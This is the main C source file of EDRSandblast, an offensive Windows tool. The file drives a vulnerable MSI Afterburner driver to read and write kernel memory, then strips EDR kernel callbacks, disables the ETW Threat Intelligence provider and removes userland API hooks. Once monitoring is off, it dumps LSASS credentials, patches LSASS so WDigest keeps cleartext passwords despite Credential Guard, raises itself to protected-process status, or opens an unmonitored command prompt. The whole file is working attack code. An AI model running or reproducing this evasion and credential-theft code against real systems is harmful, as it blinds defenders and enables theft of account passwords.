Files
wavestone-cdt-edrsandblast/EDRSandblast/EDRSandblast.c
T
2022-01-27 11:37:20 +01:00

549 lines
27 KiB
C

#include <Windows.h>
#include <stdio.h>
#include <Tchar.h>
#ifdef _DEBUG
#include <assert.h>
#endif
#include "CredGuard.h"
#include "DriverOps.h"
#include "ETWThreatIntel.h"
#include "KernelCallbacks.h"
#include "LSASSDump.h"
#include "NtoskrnlOffsets.h"
#include "RunAsPPL.h"
#include "WdigestOffsets.h"
#include "UserlandHooks.h"
#include "EDRSandBlast.h"
/*
--- Execution entry point.
*/
int _tmain(int argc, TCHAR** argv) {
// Parse command line arguments and initialize variables to default values if needed.
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe <audit | dump | cmd | credguard> [-h | --help] [-v | --verbose] [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]");
const TCHAR extendedUsage[] = TEXT("\n\
-h | --help Show this help message and exit.\n\
-v | --verbose Enable a more verbose output.\n\
\n\
Actions mode:\n\
\n\
\taudit Display the user-land hooks and / or Kernel callbacks without taking actions.\n\
\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\
\t specified file using -o | --output <DUMP_FILE>.\n\
\tcmd Open a cmd.exe prompt.\n\
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
\t Credential Guard is enabled on the host. No kernel-land actions required.\n\
\n\
--usermode Perform user-land operations (DLL unhooking).\n\
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
\n\
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
\n\
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
\t present userland hooks.\n\
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
\t userland hooks.\n\
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
\t hooks.\n\
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
\t present userland hooks.\n\
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
\t and uses it to remove all detected hooks\n\
\n\
Other options:\n\
\n\
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\
Default to automatically unsinstall the driver.\n\
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
Default to restore the callbacks.\n\
\n\
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
Default to 'RTCore64.sys' in the current directory.\n\
--service <SERVICE_NAME> Name of the vulnerable service to intall / start.\n\
\n\
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
(only for the 'credguard' mode).\n\
Default to 'WdigestOffsets.csv' in the current directory.\n\
\n\
--add-dll <dll name or path> Loads arbitrary libraries into the process' address space, before starting\n\
anything. This can be useful to audit userland hooking for DLL that are not\n\
loaded by default by this program. Use this option multiple times to load\n\
multiple DLLs all at once.\n\
Example of interesting DLLs to look at: user32.dll, ole32.dll, crypt32.dll,\n\
samcli.dll, winhttp.dll, urlmon.dll, secur32.dll, shell32.dll...\n\
\n\
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
Default to 'lsass' in the current directory.\n");
BOOL status;
TCHAR currentFolderPath[MAX_PATH] = { 0 };
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
if (argc < 2) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
START_MODE startMode = none;
TCHAR driverPath[MAX_PATH * 2] = { 0 };
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 };
TCHAR outputPath[MAX_PATH * 2] = { 0 };
BOOL verbose = FALSE;
BOOL removeVulnDriver = TRUE;
BOOL restoreCallbacks = TRUE;
BOOL userMode = FALSE;
enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
BOOL kernelMode = FALSE;
int lpExitCode = EXIT_SUCCESS;
struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL;
struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL;
BOOL ETWTIState = FALSE;
hook* hooks = NULL;
for (int i = 1; i < argc; i++) {
if (_tcsicmp(argv[i], TEXT("dump")) == 0) {
startMode = dump;
}
else if (_tcsicmp(argv[i], TEXT("cmd")) == 0) {
startMode = cmd;
}
else if (_tcsicmp(argv[i], TEXT("credguard")) == 0) {
startMode = credguard;
}
else if (_tcsicmp(argv[i], TEXT("audit")) == 0) {
startMode = audit;
}
else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
_tprintf(TEXT("%s\n"), usage);
_tprintf(TEXT("%s\n"), extendedUsage);
return EXIT_SUCCESS;
}
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
verbose = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
userMode = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
kernelMode = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
removeVulnDriver = FALSE;
}
else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) {
restoreCallbacks = FALSE;
}
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--service")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
SetServiceName(argv[i], _tcslen(argv[i]) + 1);
}
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
unhook_method = _ttoi(argv[i]);
}
else if (_tcsicmp(argv[i], TEXT("--add-dll")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
HANDLE hAdditionnalLib = LoadLibrary(argv[i]);
if (hAdditionnalLib == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("Library %s could not have been loaded, exiting...\n"), argv[i]);
return EXIT_FAILURE;
}
}
else {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
}
// Command line option consistency checks.
if (startMode == none){
_tprintf(TEXT("[!] You did not provide an action to perform: audit, dump, credguard or cmd\n"));
return EXIT_FAILURE;
}
if (startMode == cmd && !kernelMode) {
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
return EXIT_FAILURE;
}
if (!userMode && !kernelMode) {
_tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
userMode = TRUE;
}
if (startMode == credguard && !kernelMode) {
_tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
if (startMode == dump && !kernelMode) {
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
if (!userMode && kernelMode) {
_tprintf(TEXT("[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)\n"));
}
BOOL isSafeToExecutePayload = TRUE;
if (userMode) {
_tprintf(TEXT("Loaded DLLs in current process:\n"));
hooks = searchHooks(NULL);
_tprintf(TEXT("\n\n"));
if (startMode != audit) {
for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) {
printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method);
unhook(ptr, unhook_method);
}
}
}
if (kernelMode) {
if (_tcslen(driverPath) == 0) {
TCHAR separator[] = TEXT("\\");
_tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
_tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
}
DWORD driverAttrib = GetFileAttributes(driverPath);
if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
_tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
return EXIT_FAILURE;
}
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv");
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
}
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
_tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n"));
ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath);
if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) {
_tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n"));
return EXIT_FAILURE;
}
_tprintf(TEXT("\n\n"));
// Install the vulnerable driver to have read / write in Kernel memory.
_tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n"));
status = InstallVulnerableDriver(driverPath);
if (status != TRUE) {
_tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n"));
_tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n"));
Sleep(20000);
status = UninstallVulnerableDriver();
Sleep(2000);
status = status && InstallVulnerableDriver(driverPath);
Sleep(2000);
if (status != TRUE) {
_tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n"));
return EXIT_FAILURE;
}
}
_tprintf(TEXT("\n\n"));
Sleep(5000);
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
_tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
return EXIT_FAILURE;
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
if (checkEDRDrivers->index) {
isSafeToExecutePayload = FALSE;
}
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
_tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
_tprintf(TEXT("\n\n"));
if (ETWTIState) {
isSafeToExecutePayload = FALSE;
}
}
if (startMode != audit) {
if (isSafeToExecutePayload) {
_tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n"));
// Do the operation the tool was started for.
switch (startMode) {
// Start a process executing cmd.exe.
case cmd:
_tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n"));
// Find cmd.exe path.
TCHAR systemDirectory[MAX_PATH * 2] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
TCHAR cmdPath[MAX_PATH * 2] = { 0 };
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
_tsystem(cmdPath);
break;
// Dump the LSASS process in a new thread.
case dump:
if (kernelMode) {
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n"));
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
SetCurrentProcessAsProtected(verbose);
}
}
if (_tcslen(outputPath) == 0) {
TCHAR outputName[] = TEXT("\\lsass");
_tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName));
}
_tprintf(TEXT("[+] Attempting to dump LSASS\n"));
HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
if (lpExitCode != 0) {
_tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n"));
lpExitCode = EXIT_FAILURE;
}
}
else {
_tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n"));
lpExitCode = EXIT_FAILURE;
}
break;
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
case credguard:
if (kernelMode) {
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n"));
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
SetCurrentProcessAsProtected(verbose);
}
}
if (_tcslen(wdigestOffsetCSVPath) == 0) {
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
}
wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath);
if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
_tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n"));
lpExitCode = EXIT_FAILURE;
}
else {
_tprintf(TEXT("\n\n"));
if (disableCredGuardByPatchingLSASS()) {
_tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n"));
}
else {
_tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n"));
lpExitCode = EXIT_FAILURE;
}
}
break;
}
_tprintf(TEXT("\n\n"));
}
// If the the payload is not safe to execute.
else {
_tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and starting another process...\n"));
#ifdef _DEBUG
assert(kernelMode);
#endif
/*
* 1/3 : Removing kernel-based monitoring.
*/
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
if (ETWTIState) {
DisableETWThreatIntelProvider(verbose);
}
// If kernel callbacks are monitoring processes, we remove them and start a new process.
if (checkEDRDrivers && checkEDRDrivers->index != 0) {
_tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n"));
// Removes EDR drivers callbacks for process / threads creation and image loading.
removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!removedEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n"));
return EXIT_FAILURE;
}
_tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n"));
RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n"));
RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n"));
RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("\n\n"));
// Checks that EDR drivers were indeed removed and if so, go on with the payload.
_tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
free(removedEDRDrivers);
return EXIT_FAILURE;
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
_tprintf(TEXT("\n\n"));
if (checkEDRDrivers->index != 0) {
_tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting..."));
lpExitCode = EXIT_FAILURE;
}
free(checkEDRDrivers);
}
/*
* 2/3 : Starting "resursively" our process.
*/
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
_tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n"));
_tprintf(TEXT("\n\n"));
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
// Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process.
TCHAR* currentCommandLine = GetCommandLine();
TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver"));
TCHAR* serviceNameOpt = _tcsdup(TEXT(" --service "));
TCHAR* svcName = GetServiceName();
//TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const".
const SIZE_T commandLineMaxLen = 32768;
TCHAR* commandLine = (TCHAR*) calloc(commandLineMaxLen, sizeof(TCHAR));
_tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine));
_tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag));
_tcsncat_s(commandLine, commandLineMaxLen, serviceNameOpt, _tcslen(serviceNameOpt));
_tcsncat_s(commandLine, commandLineMaxLen, svcName, _tcslen(svcName));
if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else {
_tprintf(TEXT("[!] An error occured while trying to create a new process\n"));
lpExitCode = EXIT_FAILURE;
}
free(commandLine);
_tprintf(TEXT("\n\n"));
/*
* 3/3 : Restoring state after execution.
*/
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) {
// Restores the EDR drivers.
_tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n"));
RestoreEDRCallbacks(removedEDRDrivers);
_tprintf(TEXT("\n\n"));
// Checks that the EDR drivers were indeed restored.
_tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n"));
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) {
_tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n"));
}
else {
_tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n"));
lpExitCode = EXIT_FAILURE;
}
free(checkEDRDrivers);
_tprintf(TEXT("\n\n"));
}
// Renable the ETW Threat Intel provider.
// TODO : make this conditionnal, just as kernel callbacks restoring ?
if (ETWTIState) {
EnableETWThreatIntelProvider(verbose);
}
if (removedEDRDrivers) {
free(removedEDRDrivers);
}
}
}
if (kernelMode && removeVulnDriver) {
Sleep(5000);
_tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n"));
status = UninstallVulnerableDriver();
if (status == FALSE) {
_tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n"));
_tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetServiceName());
lpExitCode = EXIT_FAILURE;
}
else {
_tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n"));
}
}
return lpExitCode;
}